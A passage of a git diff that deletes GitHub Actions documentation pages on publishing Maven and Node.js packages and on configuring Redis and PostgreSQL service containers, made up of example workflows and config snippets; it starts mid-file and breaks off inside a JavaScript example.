/actions/language-and-framework-guides/publishing-java-packages-with-maven - - /actions/guides/publishing-java-packages-with-maven - - /actions/publishing-packages/publishing-java-packages-with-maven -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Packaging - - Publishing - - Java - - Maven ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -{% data reusables.actions.publishing-java-packages-intro %} - -## Prerequisites - -We recommend that you have a basic understanding of workflow files and configuration options. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -For more information about creating a CI workflow for your Java project with Maven, see [AUTOTITLE](/actions/automating-builds-and-tests/building-and-testing-java-with-maven). - -You may also find it helpful to have a basic understanding of the following: - -* [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry) -* [AUTOTITLE](/actions/learn-github-actions/variables) -* [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) -* [AUTOTITLE](/actions/security-guides/automatic-token-authentication) - -## About package configuration - -The `groupId` and `artifactId` fields in the _pom.xml_ file create a unique identifier for your package that registries use to link your package to a registry. For more information see [Guide to uploading artifacts to the Central Repository](https://maven.apache.org/repository/guide-central-repository-upload.html) in the Apache Maven documentation. - -{% data reusables.package_registry.maven-package-naming-convention %} - -The _pom.xml_ file also contains configuration for the distribution management repositories that Maven will deploy packages to. Each repository must have a name and a deployment URL. Authentication for these repositories can be configured in the _.m2/settings.xml_ file in the home directory of the user running Maven. - -You can use the `setup-java` action to configure the deployment repository as well as authentication for that repository. For more information, see [`setup-java`](https://github.com/actions/setup-java). - -## Publishing packages to the Maven Central Repository - -Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#release). - -In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, but it also configures a Maven _settings.xml_ for publishing packages. By default, the settings file will be configured for {% data variables.product.prodname_registry %}, but it can be configured to deploy to another package registry, such as the Maven Central Repository. If you already have a distribution management repository configured in _pom.xml_, then you can specify that `id` during the `setup-java` action invocation. - -For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _pom.xml_ could specify a distribution management repository with the `id` of `ossrh`. - -{% raw %} - -```xml copy -<project ...> - ... - <distributionManagement> - <repository> - <id>ossrh</id> - <name>Central Repository OSSRH</name> - <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url> - </repository> - </distributionManagement> -</project> -``` - -{% endraw %} - -With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by specifying the repository management `id` to the `setup-java` action. You’ll also need to provide environment variables that contain the username and password to authenticate to the repository. - -In the deploy step, you’ll need to set the environment variables to the username that you authenticate with to the repository, and to a secret that you’ve configured with the password or token to authenticate with. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -```yaml copy -name: Publish package to the Maven Central Repository -on: - release: - types: [created] -jobs: - publish: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Maven Central Repository - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '11' - distribution: 'temurin' - server-id: ossrh - server-username: MAVEN_USERNAME - server-password: MAVEN_PASSWORD - - name: Publish package - run: mvn --batch-mode deploy - env: - MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %} - MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %} -``` - -This workflow performs the following steps: - -1. Checks out a copy of project's repository. -1. Sets up the Java JDK, and also configures the Maven _settings.xml_ file to add authentication for the `ossrh` repository using the `MAVEN_USERNAME` and `MAVEN_PASSWORD` environment variables. -1. {% data reusables.actions.publish-to-maven-workflow-step %} - - For more information about using secrets in your workflow, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -## Publishing packages to {% data variables.product.prodname_registry %} - -Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#release). - -In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, and also sets up a Maven _settings.xml_ for publishing the package to {% data variables.product.prodname_registry %}. The generated _settings.xml_ defines authentication for a server with an `id` of `github`, using the `GITHUB_ACTOR` environment variable as the username and the `GITHUB_TOKEN` environment variable as the password. The `GITHUB_TOKEN` environment variable is assigned the value of the special `GITHUB_TOKEN` secret. - -{% data reusables.actions.github-token-permissions %} - -For a Maven-based project, you can make use of these settings by creating a distribution repository in your _pom.xml_ file with an `id` of `github` that points to your {% data variables.product.prodname_registry %} endpoint. - -For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _pom.xml_ would look similar to the below example. - -{% raw %} - -```xml copy -<project ...> - ... - <distributionManagement> - <repository> - <id>github</id> - <name>GitHub Packages</name> - <url>https://maven.pkg.github.com/octocat/hello-world</url> - </repository> - </distributionManagement> -</project> -``` - -{% endraw %} - -With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by making use of the automatically generated _settings.xml_. - -```yaml copy -name: Publish package to GitHub Packages -on: - release: - types: [created] -jobs: - publish: - runs-on: ubuntu-latest - permissions: - contents: read - packages: write - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '11' - distribution: 'temurin' - - name: Publish package - run: mvn --batch-mode deploy - env: - GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} -``` - -This workflow performs the following steps: - -1. Checks out a copy of project's repository. -1. Sets up the Java JDK, and also automatically configures the Maven _settings.xml_ file to add authentication for the `github` Maven repository to use the `GITHUB_TOKEN` environment variable. -1. {% data reusables.actions.publish-to-packages-workflow-step %} - - For more information about using secrets in your workflow, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %} - -You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by using the `setup-java` action for each registry. - -Ensure your _pom.xml_ file includes a distribution management repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider. For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `id` set to `ossrh`, and you might want to specify {% data variables.product.prodname_registry %} in a distribution management repository with the `id` set to `github`. - -```yaml copy -name: Publish package to the Maven Central Repository and GitHub Packages -on: - release: - types: [created] -jobs: - publish: - runs-on: ubuntu-latest - permissions: - contents: read - packages: write - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Java for publishing to Maven Central Repository - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '11' - distribution: 'temurin' - server-id: ossrh - server-username: MAVEN_USERNAME - server-password: MAVEN_PASSWORD - - name: Publish to the Maven Central Repository - run: mvn --batch-mode deploy - env: - MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %} - MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %} - - name: Set up Java for publishing to GitHub Packages - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '11' - distribution: 'temurin' - - name: Publish to GitHub Packages - run: mvn --batch-mode deploy - env: - GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} -``` - -This workflow calls the `setup-java` action twice. Each time the `setup-java` action runs, it overwrites the Maven _settings.xml_ file for publishing packages. For authentication to the repository, the _settings.xml_ file references the distribution management repository `id`, and the username and password. - -This workflow performs the following steps: - -1. Checks out a copy of project's repository. -1. Calls `setup-java` the first time. This configures the Maven _settings.xml_ file for the `ossrh` repository, and sets the authentication options to environment variables that are defined in the next step. -1. {% data reusables.actions.publish-to-maven-workflow-step %} -1. Calls `setup-java` the second time. This automatically configures the Maven _settings.xml_ file for {% data variables.product.prodname_registry %}. -1. {% data reusables.actions.publish-to-packages-workflow-step %} - - For more information about using secrets in your workflow, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). diff --git a/content/actions/use-cases-and-examples/publishing-packages/publishing-nodejs-packages.md b/content/actions/use-cases-and-examples/publishing-packages/publishing-nodejs-packages.md deleted file mode 100644 index 942ef4402242..000000000000 --- a/content/actions/use-cases-and-examples/publishing-packages/publishing-nodejs-packages.md +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Publishing Node.js packages -shortTitle: Publish Node.js packages -intro: You can publish Node.js packages to a registry as part of your continuous integration (CI) workflow. -redirect_from: - - /actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages - - /actions/language-and-framework-guides/publishing-nodejs-packages - - /actions/guides/publishing-nodejs-packages - - /actions/publishing-packages/publishing-nodejs-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Packaging - - Publishing - - Node - - JavaScript ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to create a workflow that publishes Node.js packages to the {% data variables.product.prodname_registry %} and npm registries after continuous integration (CI) tests pass. - -## Prerequisites - -We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -For more information about creating a CI workflow for your Node.js project, see [AUTOTITLE](/actions/automating-builds-and-tests/building-and-testing-nodejs). - -You may also find it helpful to have a basic understanding of the following: - -* [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry) -* [AUTOTITLE](/actions/learn-github-actions/variables) -* [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) -* [AUTOTITLE](/actions/security-guides/automatic-token-authentication) - -## About package configuration - - The `name` and `version` fields in the `package.json` file create a unique identifier that registries use to link your package to a registry. You can add a summary for the package listing page by including a `description` field in the `package.json` file. For more information, see [Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file) and [Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules) in the npm documentation. - -When a local `.npmrc` file exists and has a `registry` value specified, the `npm publish` command uses the registry configured in the `.npmrc` file. {% data reusables.actions.setup-node-intro %} - -You can specify the Node.js version installed on the runner using the `setup-node` action. - -If you add steps in your workflow to configure the `publishConfig` fields in your `package.json` file, you don't need to specify the registry-url using the `setup-node` action, but you will be limited to publishing the package to one registry. For more information, see [publishConfig](https://docs.npmjs.com/cli/v9/configuring-npm/package-json#publishconfig) in the npm documentation. - -## Publishing packages to the npm registry - -You can trigger a workflow to publish your package every time you publish a new release. The process in the following example is executed when the release event of type `published` is triggered. If the CI tests pass, the process uploads the package to the npm registry. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository#creating-a-release). - -To perform authenticated operations against the npm registry in your workflow, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -By default, npm uses the `name` field of the `package.json` file to determine the name of your published package. When publishing to a global namespace, you only need to include the package name. For example, you would publish a package named `my-package` to `https://www.npmjs.com/package/my-package`. - -If you're publishing a package that includes a scope prefix, include the scope in the name of your `package.json` file. For example, if your npm scope prefix is "octocat" and the package name is "hello-world", the `name` in your `package.json` file should be `@octocat/hello-world`. If your npm package uses a scope prefix and the package is public, you need to use the option `npm publish --access public`. This is an option that npm requires to prevent someone from publishing a private package unintentionally. - -{% ifversion artifact-attestations %}If you would like to publish your package with provenance, include the `--provenance` flag with your `npm publish` command. This allows you to publicly and verifiably establish where and how your package was built, which increases supply chain security for people who consume your package. For more information, see [Generating provenance statements](https://docs.npmjs.com/generating-provenance-statements) in the npm documentation.{% endif %} - -This example stores the `NPM_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an `.npmrc` file, it references the token from the `NODE_AUTH_TOKEN` environment variable. - -```yaml copy -name: Publish Package to npmjs -on: - release: - types: [published] -jobs: - build: - runs-on: ubuntu-latest - {% ifversion artifact-attestations %}permissions: - contents: read - id-token: write{% endif %} - steps: - - uses: {% data reusables.actions.action-checkout %} - # Setup .npmrc file to publish to npm - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' - registry-url: 'https://registry.npmjs.org' - - run: npm ci - - run: npm publish {% ifversion artifact-attestations %}--provenance --access public{% endif %} - env: - NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %} -``` - -In the example above, the `setup-node` action creates an `.npmrc` file on the runner with the following contents: - -```shell -//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} -registry=https://registry.npmjs.org/ -always-auth=true -``` - -Please note that you need to set the `registry-url` to `https://registry.npmjs.org/` in `setup-node` to properly configure your credentials. - -## Publishing packages to {% data variables.product.prodname_registry %} - -You can trigger a workflow to publish your package every time you publish a new release. The process in the following example is executed when the release event of type `published` is triggered. If the CI tests pass, the process uploads the package to {% data variables.product.prodname_registry %}. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository#creating-a-release). - -### Configuring the destination repository - -Linking your package to {% data variables.product.prodname_registry %} using the `repository` key is optional. If you choose not to provide the `repository` key in your `package.json` file, then {% ifversion packages-npm-v2 %}your package will not be linked to a repository when it is published, but you can choose to connect the package to a repository later.{% else %}{% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the `name` field of the `package.json` file. For example, a package named `@my-org/test` is published to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. If the `url` specified in the `repository` key is invalid, your package may still be published however it won't be linked to the repository source as intended.{% endif %} - -If you do provide the `repository` key in your `package.json` file, then the repository in that key is used as the destination npm registry for {% data variables.product.prodname_registry %}. For example, publishing the below `package.json` results in a package named `my-package` published to the `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} repository.{% ifversion packages-npm-v2 %}{% else %} Once published, only the repository source is updated, and the package doesn't inherit any permissions from the destination repository.{% endif %} - -```json -{ - "name": "@octocat/my-package", - "repository": { - "type": "git", - "url": "https://github.com/octocat/my-other-repo.git" - }, -``` - -### Authenticating to the destination repository - -To perform authenticated operations against the {% data variables.product.prodname_registry %} registry in your workflow, you can use the `GITHUB_TOKEN`. {% data reusables.actions.github-token-permissions %} - -If you want to publish your package to a different repository, you must use a {% data variables.product.pat_v1 %} that has permission to write to packages in the destination repository. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -### Example workflow - -This example stores the `GITHUB_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an `.npmrc` file, it references the token from the `NODE_AUTH_TOKEN` environment variable. - -```yaml copy -name: Publish package to GitHub Packages -on: - release: - types: [published] -jobs: - build: - runs-on: ubuntu-latest - permissions: - contents: read - packages: write - steps: - - uses: {% data reusables.actions.action-checkout %} - # Setup .npmrc file to publish to GitHub Packages - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' - registry-url: 'https://npm.pkg.github.com' - # Defaults to the user or organization that owns the workflow file - scope: '@octocat' - - run: npm ci - - run: npm publish - env: - NODE_AUTH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} -``` - -The `setup-node` action creates an `.npmrc` file on the runner. When you use the `scope` input to the `setup-node` action, the `.npmrc` file includes the scope prefix. By default, the `setup-node` action sets the scope in the `.npmrc` file to the account that contains that workflow file. - -```shell -//npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN} -@octocat:registry=https://npm.pkg.github.com -always-auth=true -``` - -## Publishing packages using Yarn - -If you use the Yarn package manager, you can install and publish packages using Yarn. - -```yaml copy -name: Publish Package to npmjs -on: - release: - types: [published] -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - # Setup .npmrc file to publish to npm - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' - registry-url: 'https://registry.npmjs.org' - # Defaults to the user or organization that owns the workflow file - scope: '@octocat' - - run: yarn - - run: yarn npm publish // for Yarn version 1, use `yarn publish` instead - env: - NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %} -``` - -To authenticate with the registry during publishing, ensure your authentication token is also defined in your `yarnrc.yml` file. For more information, see the [Settings](https://yarnpkg.com/configuration/yarnrc#npmAuthToken) article in the Yarn documentation. diff --git a/content/actions/use-cases-and-examples/using-containerized-services/about-service-containers.md b/content/actions/use-cases-and-examples/using-containerized-services/about-service-containers.md deleted file mode 100644 index 2f48d5edd7b1..000000000000 --- a/content/actions/use-cases-and-examples/using-containerized-services/about-service-containers.md +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: About service containers -intro: 'You can use service containers to connect databases, web services, memory caches, and other tools to your workflow.' -redirect_from: - - /actions/automating-your-workflow-with-github-actions/about-service-containers - - /actions/configuring-and-managing-workflows/about-service-containers - - /actions/guides/about-service-containers - - /actions/using-containerized-services/about-service-containers -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Containers - - Docker ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About service containers - -Service containers are Docker containers that provide a simple and portable way for you to host services that you might need to test or operate your application in a workflow. For example, your workflow might need to run integration tests that require access to a database and memory cache. - -You can configure service containers for each job in a workflow. {% data variables.product.prodname_dotcom %} creates a fresh Docker container for each service configured in the workflow, and destroys the service container when the job completes. Steps in a job can communicate with all service containers that are part of the same job. However, you cannot create and use service containers inside a composite action. - -{% data reusables.actions.docker-container-os-support %} - -## Communicating with service containers - -You can configure jobs in a workflow to run directly on a runner machine or in a Docker container. Communication between a job and its service containers is different depending on whether a job runs directly on the runner machine or in a container. - -### Running jobs in a container - -When you run jobs in a container, {% data variables.product.prodname_dotcom %} connects service containers to the job using Docker's user-defined bridge networks. For more information, see [Bridge network driver](https://docs.docker.com/engine/network/drivers/bridge/) in the Docker documentation. - -Running the job and services in a container simplifies network access. You can access a service container using the label you configure in the workflow. The hostname of the service container is automatically mapped to the label name. For example, if you create a service container with the label `redis`, the hostname of the service container is `redis`. - -You don't need to configure any ports for service containers. By default, all containers that are part of the same Docker network expose all ports to each other, and no ports are exposed outside of the Docker network. - -### Running jobs on the runner machine - -When running jobs directly on the runner machine, you can access service containers using `localhost:<port>` or `127.0.0.1:<port>`. {% data variables.product.prodname_dotcom %} configures the container network to enable communication from the service container to the Docker host. - -When a job runs directly on a runner machine, the service running in the Docker container does not expose its ports to the job on the runner by default. You need to map ports on the service container to the Docker host. For more information, see [AUTOTITLE](/actions/using-containerized-services/about-service-containers#mapping-docker-host-and-service-container-ports). - -## Creating service containers - -You can use the `services` keyword to create service containers that are part of a job in your workflow. For more information, see [`jobs.<job_id>.services`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idservices). - -This example creates a service called `redis` in a job called `container-job`. The Docker host in this example is the `node:16-bullseye` container. - -{% raw %} - -```yaml copy -name: Redis container example -on: push - -jobs: - # Label of the container job - container-job: - # Containers must run in Linux based operating systems - runs-on: ubuntu-latest - # Docker Hub image that `container-job` executes in - container: node:16-bullseye - - # Service containers to run with `container-job` - services: - # Label used to access the service container - redis: - # Docker Hub image - image: redis -``` - -{% endraw %} - -## Mapping Docker host and service container ports - -If your job runs in a Docker container, you do not need to map ports on the host or the service container. If your job runs directly on the runner machine, you'll need to map any required service container ports to ports on the host runner machine. - -You can map service containers ports to the Docker host using the `ports` keyword. For more information, see [`jobs.<job_id>.services`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idservices). - -| Value of `ports` | Description | -|------------------|--------------| -| `8080:80` | Maps TCP port 80 in the container to port 8080 on the Docker host. | -| `8080:80/udp` | Maps UDP port 80 in the container to port 8080 on the Docker host. | -| `8080/udp` | Maps a randomly chosen port on the Docker host to UDP port 8080 in the container. | - -When you map ports using the `ports` keyword, {% data variables.product.prodname_dotcom %} uses the `--publish` command to publish the container’s ports to the Docker host. For more information, see [Docker container networking](https://docs.docker.com/config/containers/container-networking/) in the Docker documentation. - -When you specify the container port but not the Docker host port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the service container context. For example, for a `redis` service container, if you configured the Docker host port 5432, you can access the corresponding container port using the `job.services.redis.ports[5432]` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#job-context). - -### Example mapping Redis ports - -This example maps the service container `redis` port 6379 to the Docker host port 6379. - -{% raw %} - -```yaml copy -name: Redis Service Example -on: push - -jobs: - # Label of the container job - runner-job: - # You must use a Linux environment when using service containers or container jobs - runs-on: ubuntu-latest - - # Service containers to run with `runner-job` - services: - # Label used to access the service container - redis: - # Docker Hub image - image: redis - # - ports: - # Opens tcp port 6379 on the host and service container - - 6379:6379 -``` - -{% endraw %} - -## Authenticating with image registries - -You can specify credentials for your service containers in case you need to authenticate with an image registry. This allows you to use images from private registries or to [increase your DockerHub rate limit](https://www.docker.com/increase-rate-limits/). - -Here’s an example of authenticating with Docker Hub and the {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_container_registry %}: - -{% raw %} - -```yaml copy -jobs: - build: - services: - redis: - # Docker Hub image - image: redis - ports: - - 6379:6379 - credentials: - username: ${{ secrets.dockerhub_username }} - password: ${{ secrets.dockerhub_password }} - db: - # Private registry image - image: ghcr.io/octocat/testdb:latest - credentials: - username: ${{ github.repository_owner }} - password: ${{ secrets.ghcr_password }} -``` - -{% endraw %} - -## Further reading - -* [AUTOTITLE](/actions/using-containerized-services/creating-redis-service-containers) -* [AUTOTITLE](/actions/using-containerized-services/creating-postgresql-service-containers) diff --git a/content/actions/use-cases-and-examples/using-containerized-services/creating-postgresql-service-containers.md b/content/actions/use-cases-and-examples/using-containerized-services/creating-postgresql-service-containers.md deleted file mode 100644 index 334e1d8ba589..000000000000 --- a/content/actions/use-cases-and-examples/using-containerized-services/creating-postgresql-service-containers.md +++ /dev/null @@ -1,336 +0,0 @@ ---- -title: Creating PostgreSQL service containers -shortTitle: Create PostgreSQL service containers -intro: You can create a PostgreSQL service container to use in your workflow. This guide shows examples of creating a PostgreSQL service for jobs that run in containers or directly on the runner machine. -redirect_from: - - /actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers - - /actions/configuring-and-managing-workflows/creating-postgresql-service-containers - - /actions/guides/creating-postgresql-service-containers - - /actions/using-containerized-services/creating-postgresql-service-containers -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Containers - - Docker ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you workflow examples that configure a service container using the Docker Hub `postgres` image. The workflow runs a script that connects to the PostgreSQL service, creates a table, and then populates it with data. To test that the workflow creates and populates the PostgreSQL table, the script prints the data from the table to the console. - -{% data reusables.actions.docker-container-os-support %} - -## Prerequisites - -{% data reusables.actions.service-container-prereqs %} - -You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and PostgreSQL. For more information, see: - -* [AUTOTITLE](/actions/learn-github-actions) -* [PostgreSQL tutorial](https://www.postgresqltutorial.com/) in the PostgreSQL documentation - -## Running jobs in containers - -{% data reusables.actions.container-jobs-intro %} - -{% data reusables.actions.copy-workflow-file %} - -```yaml copy -name: PostgreSQL service example -on: push - -jobs: - # Label of the container job - container-job: - # Containers must run in Linux based operating systems - runs-on: ubuntu-latest - # Docker Hub image that `container-job` executes in - container: node:20-bookworm-slim - - # Service containers to run with `container-job` - services: - # Label used to access the service container - postgres: - # Docker Hub image - image: postgres - # Provide the password for postgres - env: - POSTGRES_PASSWORD: postgres - # Set health checks to wait until postgres has started - options: >- - --health-cmd pg_isready - --health-interval 10s - --health-timeout 5s - --health-retries 5 - - steps: - # Downloads a copy of the code in your repository before running CI tests - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies in the `package.json` file - # For more information, see https://docs.npmjs.com/cli/ci.html - - name: Install dependencies - run: npm ci - - - name: Connect to PostgreSQL - # Runs a script that creates a PostgreSQL table, populates - # the table with data, and then retrieves the data. - run: node client.js - # Environment variables used by the `client.js` script to create a new PostgreSQL table. - env: - # The hostname used to communicate with the PostgreSQL service container - POSTGRES_HOST: postgres - # The default PostgreSQL port - POSTGRES_PORT: 5432 -``` - -### Configuring the runner job for jobs in containers - -{% data reusables.actions.service-container-host %} - -{% data reusables.actions.postgres-label-description %} - -```yaml copy -jobs: - # Label of the container job - container-job: - # Containers must run in Linux based operating systems - runs-on: ubuntu-latest - # Docker Hub image that `container-job` executes in - container: node:20-bookworm-slim - - # Service containers to run with `container-job` - services: - # Label used to access the service container - postgres: - # Docker Hub image - image: postgres - # Provide the password for postgres - env: - POSTGRES_PASSWORD: postgres - # Set health checks to wait until postgres has started - options: >- - --health-cmd pg_isready - --health-interval 10s - --health-timeout 5s - --health-retries 5 -``` - -### Configuring the steps for jobs in containers - -{% data reusables.actions.service-template-steps %} - -```yaml copy -steps: - # Downloads a copy of the code in your repository before running CI tests - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies in the `package.json` file - # For more information, see https://docs.npmjs.com/cli/ci.html - - name: Install dependencies - run: npm ci - - - name: Connect to PostgreSQL - # Runs a script that creates a PostgreSQL table, populates - # the table with data, and then retrieves the data. - run: node client.js - # Environment variable used by the `client.js` script to create - # a new PostgreSQL client. - env: - # The hostname used to communicate with the PostgreSQL service container - POSTGRES_HOST: postgres - # The default PostgreSQL port - POSTGRES_PORT: 5432 -``` - -{% data reusables.actions.postgres-environment-variables %} - -The hostname of the PostgreSQL service is the label you configured in your workflow, in this case, `postgres`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default PostgreSQL port 5432. - -## Running jobs directly on the runner machine - -When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number. - -{% data reusables.actions.copy-workflow-file %} - -```yaml copy -name: PostgreSQL Service Example -on: push - -jobs: - # Label of the runner job - runner-job: - # You must use a Linux environment when using service containers or container jobs - runs-on: ubuntu-latest - - # Service containers to run with `runner-job` - services: - # Label used to access the service container - postgres: - # Docker Hub image - image: postgres - # Provide the password for postgres - env: - POSTGRES_PASSWORD: postgres - # Set health checks to wait until postgres has started - options: >- - --health-cmd pg_isready - --health-interval 10s - --health-timeout 5s - --health-retries 5 - ports: - # Maps tcp port 5432 on service container to the host - - 5432:5432 - - steps: - # Downloads a copy of the code in your repository before running CI tests - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies in the `package.json` file - # For more information, see https://docs.npmjs.com/cli/ci.html - - name: Install dependencies - run: npm ci - - - name: Connect to PostgreSQL - # Runs a script that creates a PostgreSQL table, populates - # the table with data, and then retrieves the data - run: node client.js - # Environment variables used by the `client.js` script to create - # a new PostgreSQL table. - env: - # The hostname used to communicate with the PostgreSQL service container - POSTGRES_HOST: localhost - # The default PostgreSQL port - POSTGRES_PORT: 5432 -``` - -### Configuring the runner job for jobs directly on the runner machine - -{% data reusables.actions.service-container-host-runner %} - -{% data reusables.actions.postgres-label-description %} - -The workflow maps port 5432 on the PostgreSQL service container to the Docker host. For more information about the `ports` keyword, see [AUTOTITLE](/actions/using-containerized-services/about-service-containers#mapping-docker-host-and-service-container-ports). - -```yaml copy -jobs: - # Label of the runner job - runner-job: - # You must use a Linux environment when using service containers or container jobs - runs-on: ubuntu-latest - - # Service containers to run with `runner-job` - services: - # Label used to access the service container - postgres: - # Docker Hub image - image: postgres - # Provide the password for postgres - env: - POSTGRES_PASSWORD: postgres - # Set health checks to wait until postgres has started - options: >- - --health-cmd pg_isready - --health-interval 10s - --health-timeout 5s - --health-retries 5 - ports: - # Maps tcp port 5432 on service container to the host - - 5432:5432 -``` - -### Configuring the steps for jobs directly on the runner machine - -{% data reusables.actions.service-template-steps %} - -```yaml copy -steps: - # Downloads a copy of the code in your repository before running CI tests - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies in the `package.json` file - # For more information, see https://docs.npmjs.com/cli/ci.html - - name: Install dependencies - run: npm ci - - - name: Connect to PostgreSQL - # Runs a script that creates a PostgreSQL table, populates - # the table with data, and then retrieves the data - run: node client.js - # Environment variables used by the `client.js` script to create - # a new PostgreSQL table. - env: - # The hostname used to communicate with the PostgreSQL service container - POSTGRES_HOST: localhost - # The default PostgreSQL port - POSTGRES_PORT: 5432 -``` - -{% data reusables.actions.postgres-environment-variables %} - -{% data reusables.actions.service-container-localhost %} - -## Testing the PostgreSQL service container - -You can test your workflow using the following script, which connects to the PostgreSQL service and adds a new table with some placeholder data. The script then prints the values stored in the PostgreSQL table to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `pg` npm module. For more information, see the [npm pg module](https://www.npmjs.com/package/pg). - -You can modify _client.js_ to include any PostgreSQL operations needed by your workflow. In this example, the script connects to the PostgreSQL service, adds a table to the `postgres` database, inserts some placeholder data, and then retrieves the data. - -{% data reusables.actions.service-container-add-script %} - -```javascript copy -const { Client } = require('pg'); - -const pgclient = new Client({ - host: process.env.POSTGRES_HOST, - port: process.env.POSTGRES_PORT, - user: 'postgres', - password: 'postgres', - database: 'postgres' -}); - -pgclient.connect(); - -const table = 'CREATE TABLE student(id SERIAL PRIMARY KEY, firstName VARCHAR(40) NOT NULL, lastName VARCHAR(40) NOT NULL, age INT, address VARCHAR(80), email VARCHAR(40))' -const text = 'INSERT INTO student(firstname, lastname, age, address, email) VALUES($1, $2, $3, $4, $5) RETURNING *' -const values = ['Mona the', 'Octocat', 9, '88 Colin P 